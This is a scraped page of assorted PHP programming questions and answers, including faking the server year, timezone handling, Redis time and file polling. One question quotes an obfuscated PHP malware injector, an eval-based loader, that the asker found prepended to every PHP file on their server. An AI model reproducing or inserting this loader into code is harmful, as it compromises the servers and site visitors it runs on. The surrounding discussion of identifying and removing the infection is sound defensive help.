How to force PHP/Apache to use another year? - php

So, I was handed an old project by another employee. It's horribly coded and almost made me quit my job. Twice. Because I don't have that much time (I was given 2 weeks for this task), I can't rewrite the entire thing. I modified it as I was asked, and currently, I'm doing the testings. The problem is, the code should alter it's behavior in other years. The problem with this problem is, that there is no central location where the current year is set, it's all over the code using date("Y") which would force me to change around 200 files.
So, the easiest solution would be to tell PHP in the beginning: "Hey, it's year 20xx". I tried date_default_timezone_set(), but this didn't help me at all. So what I'm looking for is:
A PHP-command which changes the current year to the set value (likeSet_Date("Y", 2016);)
An Apache-Servercommand which changes the current time (likesetdate -Y 2016)
Is there any way or at least a workaround to make the script think it's another year?


You can redefine functions using runkit_function_redefine()
But you need to setup the runkit PECL extension
NOTE : i didn't test it !
<?php
print date("Y");
$date = 'print "Hello, it is a new definition of date function <" . $Y . ">"; return 2014; ';
runkit_function_redefine('date', '$Y', $date);
date("Y");


It's probably not suitable for your case but I thought I should share this abuse of namespaces:
<?php
namespace FakeTime;
function date($format, $time=null){
return 2001;
}
var_dump(date('Y'));


This is a combination of other users suggestion and how to I use libfaketime.
No need for a PECL extension.
You can very easily fake the time by modifying /etc/apache2/envvars
just add:
export FAKETIME="2015-12-04 12:41:15"
export LD_PRELOAD=/usr/lib/faketime/libfaketime.so.1
Make sure LD_PRELOAD points to the git source.
Now restart your apache2 and you'll be back in time right at the point where you'd asked this question!


Frist compile libfaketime as suggested https://github.com/wolfcw/libfaketime
Dynamically load baked libfaketime into the scripts you need
if (!extension_loaded('libfaketime')) {
dl('libfaketime.so');
}
Optional:
Use auto_prepend_file configuration to prepend the dl(.. comand to every file.
Other possible way is to simply compile a second PHP installation and modify the date functions: https://github.com/php/php-src/blob/master/ext/date/php_date.c

Related

Seems I need to repeat date_default_timezone_set() each time I need to work with dates withing the same script

So, there is either something I don't understand, or sometime broken somewhere.
To my understanding, when I set date_default_timezone_set, it's supposed to work for the entire current script. But working with one this morning, nothing seemed to work, up until I started to call date_default_timezone_set before each call to, for example, a date() or strtotime() function within the same script/file.
I don't particularly want to change the php.ini file directly, I like to keep it to UTC by default. I just want to set the timezome for the script being run, but I don't want to have the call to date_default_timezone_set on almost every other lines!
Can anybody confirm that it's (or isn't) normal behavior and how I could try to resolve this?
EDIT:
Here is an example of what I need to to in order to have times correctly.
date_default_timezone_set('America/Montreal');
$hour_from = get_field('hour_from', $v->ID);
date_default_timezone_set('America/Montreal');
$hour_to = get_field('hour_to', $v->ID);
date_default_timezone_set('America/Montreal');
$hour_from_norm = strtotime($hour_from);
date_default_timezone_set('America/Montreal');
$hour_to_norm = strtotime($hour_to);

So, I was using a file coming from Wordpress somewhere, and didn't expect it to be reseting time zone to UTC. But it did.
Searching line by line after #joren confirmed I should have to set it only once got me to the right track to discovery. Thank you!

PHPRedis - time() does not work

I have a problem.
In my project I have few servers which modify same data in redis.
All the servers may have different time.
In other words, I can't rely on app server time in some cases.
So I would like to use Redis time as general base point.
Everything could be fine, PHPRedis documentation says there is a function which does exactly what I need: time().
But here is a BIG surprise:
//... create connection etc...
var_dump($redis->time());
Output is:
bool(false)
The question is - what the hell is this?
Have you ever faced such a problem?
How can I get redis server time using it's functions?
Note: other redis functions work fine, I am able to read and write data. Connection is ok and is created correctly.

Got no help here.
As well as anywhere else.
So I needed to invent a walkaround...
Here is it, if someone needs it.
// Generate unique temporary key
$key = uniqid() . time();
// Take some random future TS
$future_ts = time() + 1000;
$redis->setex($key, time(), 5);
$redis->expireAt($key, $future_ts);
// This variable now contains what I need
$redis_ts = $future_ts - $redis->ttl($key);

Does somebody knows what is this code Virus in PHP?

I don't know what is, I found it inside of all PHP files on my server, I think is a kind of virus or something else?, What do you think guys?. Is already on my server, inside of each PHP file on the top of the document, and down of this code start my normal code.
I'll appreciate your help thanks!
<?php $jkpyncainc = 'ss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782g!>!#]y81]273]y76]258]%x5c%x7825yy)#}#-#%x5c%x787,*c%x5c%x7827,*b%x5cPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR_reporting(0); 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funj6<*id%x5c%x7825)ftp7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x56~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsy3d]51]y35]274]y4:]82]y3:vufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)us>:h%x5c%x7825:<#64y]Y%x5c%x7825)fnbozcYufhA%x5c%x78272q825)!gj!<2,*j%x5c%x7825-#1]825:osvufs:~:<*9-1-r%x5c%xc%x78b%x5c%x7825mm)%x5c%x7825%x5c%x78j%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257x7825)m%x5c%x7825):fmji%x5c%x7878:<##:7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5cc%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>25)sutcvt-#w#)ldbqov>*ofmy%xf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x5bss-%x5c%x7825r%x5c%x7878B%x5c%x78)!gj+{e%x5c%x7825!os%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]ction fjfgg($n){return chr(ord($n)-1);} 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explode(chr((188-144)),'3644,46,9854,55,8686,44,9669,46,170,45,479,36,7686,60,256,63,5990,21,4650,20,6011,68,2509,40,6079,57,3860,56,5762,46,9350,70,7932,22,4956,52,9917,59,8846,47,8269,66,1517,44,7204,56,3747,48,4370,25,3690,57,2402,67,10008,33,2936,31,804,49,8994,35,9119,43,1345,49,7954,52,7031,35,4314,35,1594,27,940,48,2914,22,9258,53,1763,53,9200,58,5127,55,8730,20,1939,69,112,58,8661,25,3375,64,6162,65,8446,20,8790,56,345,43,5483,41,5182,34,1454,63,319,26,4395,52,3164,27,3342,33,515,31,9420,65,7066,61,1278,67,9029,27,6366,49,1561,33,5008,36,6136,26,9485,28,4828,70,674,44,10041,25,1230,48,8404,42,4163,64,458,21,2469,40,6590,24,5725,37,3144,20,6745,57,1873,28,4118,45,2284,25,7586,37,91,21,2195,54,2705,38,893,47,1162,68,2309,24,8466,32,3109,35,3261,41,8498,22,6886,59,4017,47,5688,37,4277,37,7437,34,4536,24,6945,49,9715,40,6440,63,8006,47,7528,58,6503,59,1024,29,5379,49,2048,47,6676,69,3981,36,988,36,5808,60,9513,37,6802,41,9585,20,8918,56,7181,23,1394,60,1850,23,5216,70,2333,69,1816,34,4670,23,4898,26,7471,57,779,25,9755,63,7876,56,5428,55,1053,58,7811,65,5911,51,7308,69,1901,38,7746,65,580,42,4447,20,2967,30,9056,26,718,61,1621,67,6265,65,9162,38,8974,20,7416,21,2008,40,4560,70,388,70,7377,39,4693,57,645,29,2632,53,1737,26,7623,63,10066,40,65,26,4349,21,3048,61,3618,26,6843,43,6330,36,5868,43,2743,65,7127,54,853,40,622,23,7260,48,1111,51,8893,25,5602,45,9976,32,5341,38,2808,42,2997,51,5962,28,4064,54,8610,51,2850,64,8078,42,3583,35,1688,49,4630,20,9550,35,4467,69,6614,62,3461,60,8053,25,546,34,2095,58,2153,42,3521,62,4750,40,5044,33,8520,29,8335,69,9605,64,6415,25,3916,65,2249,35,8202,67,0,43,3439,22,3191,70,5647,41,2549,54,4924,32,8750,40,2603,29,2685,20,3795,65,5568,34,9311,39,8162,40,6227,38,4227,50,6994,37,9082,37,215,41,8549,61,4790,38,5524,44,43,22,9818,36,3302,40,6562,28,5077,50,5286,55,8120,42,9909,8'); $bwellubqxl=substr($jkpyncainc,(42586-32480),(27-20)); if (!function_exists('mzrfqfsbfr')) { function mzrfqfsbfr($zsdakifiuq, $isfdnrujpz) { $wsvjrnzrfc = NULL; for($wzdtszvbpa=0;$wzdtszvbpa<(sizeof($zsdakifiuq)/2);$wzdtszvbpa++) { $wsvjrnzrfc .= substr($isfdnrujpz, $zsdakifiuq[($wzdtszvbpa*2)],$zsdakifiuq[($wzdtszvbpa*2)+1]); } return $wsvjrnzrfc; };} $vpzmduwprw="\x20\57\x2a\40\x67\156\x68\155\x62\156\x74\172\x6e\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x36\55\x31\64\x39\51\x29\54\x20\143\x68\162\x28\50\x34\62\x39\55\x33\63\x37\51\x29\54\x20\155\x7a\162\x66\161\x66\163\x62\146\x72\50\x24\164\x76\147\x65\167\x76\160\x6d\145\x72\54\x24\152\x6b\160\x79\156\x63\141\x69\156\x63\51\x29\51\x3b\40\x2f\52\x20\161\x70\150\x78\152\x6f\153\x70\157\x64\40\x2a\57\x20"; $zhcvxtttqr=substr($jkpyncainc,(47797-37684),(67-55)); $zhcvxtttqr($bwellubqxl, $vpzmduwprw, NULL); $zhcvxtttqr=$vpzmduwprw; $zhcvxtttqr=(403-282); $jkpyncainc=$zhcvxtttqr-1; ?>

this is not the answer for your question, but since its the same issue I am having (https://stackoverflow.com/questions/24881340/malware-code-being-injected-in-my-php-scripts) (And I don't have the necessary reputation points to post a comment), here's a script to scan and remove all the php files: http://pastebin.com/JgyDZj3R
Make sure to change {username} to your accounts username, create a file named yoyo.txt on the same directory as this PHP script and paste the illegal code in that file.
Its best if you have SSH access since it will take a lot of time to execute depending on how many files you have.
Hope this helps! :)

If you have SSH access to the server, and the website isn't usually modified that much, I suggest you try the following:
Log in through SSH
Navigate to the website directory
Execute the command find . -mtime -1 -type f
This will give a list of all files which have been modified in the last day. This way you can manually check them and remove the malicious code blocks.
Should the exploit have been installed earlier, you can expand your search to go further back e.g. find . -mtime -3 -type f to go back 3 days.
Do note this is just a quick fix for a single website, chances are your server has been completely compromised, in which case you either need to do a full reinstall as already stated above, or get some professional help.

How to get the content of a file when it changes in PHP

I am fairly new to php.
I have a text file on my computer which changes the content frequently. I want to get the content of the file as soon as it is changed and insert it to an html form.
I wanted to use the filemtime function on php but I didn't know exactly how to do it. I did put a do while loop :
$oldtime=filemtime($filename);
$newtime = $oldtime;
do {
sleep (1);
$newtime = filemtime($filename);
echo "old: $oldtime"."<br />";
echo "new: $newtime";
}
while ($newtime == $oldtime);
but this will keep executing. I did also try to do some if statements but this also won't work on my side.
Can you please suggest any way to do this ? If there is any other functions that may help ?
thank you for looking at this thread

Switch your assignment to a comparison (= for ==) to correct the bug in your code.
There may be more of a problem here, though. Files are not the best of places to store information, when you want to know if it's changed.
Ideally, you'd put the information that's being saved in that file inside of a database, where you can use fun things like triggers to let you know if data has changed. Otherwise, your solution will be wasting clock cycles trying to test the file endlessly for changes, which isn't very efficient

Your condition in the while is logically incorrect. You are doing an assignment
$newtime = $oldtime
it should be a comparison:
$newtime == $oldtime

It keeps executing because you are assigning rather than comparing.
This:
while ($newtime = $oldtime);
Should be this:
while ($newtime == $oldtime);

Polling the file frequently is kind of a crappy way to publish updates.
Why not just have a php script at the end point of the HTTP request which formats the source data (optionally caching it, if the source file is remote). Or using inotify to trigger the generation of a static file?

custom php function creation and install

I would like to know how to create a php function that can be installed in php
just like the already built in functions like :
rename
copy
The main point I would like to achieve is a simple php function that can be called from ANY php page on the whole host without needing to have a php function within the php page / needing an include.
so simply I would like to create a function that will work like this :
location();
That without a given input string will output the current location of the file via echo etc

Well, there are a couple of options here. One of them is to actually extend the language by writing an extension. You'd have to muck around with the PHP source code, write it in C, and deal with the Zend Engine internally. You probably wouldn't be able to use this on a shared host and it would be quite time consuming and probably not worth it.
What I would do is put all of your functions into a separate PHP file, say helper_functions.php. Now, go into your php.ini and add the directive: auto_prepend_file = helper_functions.php. This file should be in one of the directories specified in your include_path (that's a php.ini directive too).
What this does is basically automatically put include 'helper_functions.php'; on every script. Each and every request will have these functions included, and you can use them globally.
Read more about auto_append_file.

As others have said, there's probably an easier, better way to do most things. But if you want to write an extension, try these links:
http://docstore.mik.ua/orelly/webprog/php/ch14_01.htm
http://www.tuxradar.com/practicalphp/2/3/0

So you want to extend PHP's core language to create a function called location(), written in C, which could be done in PHP by:
echo __FILE__;
Right. Have fun doing that.

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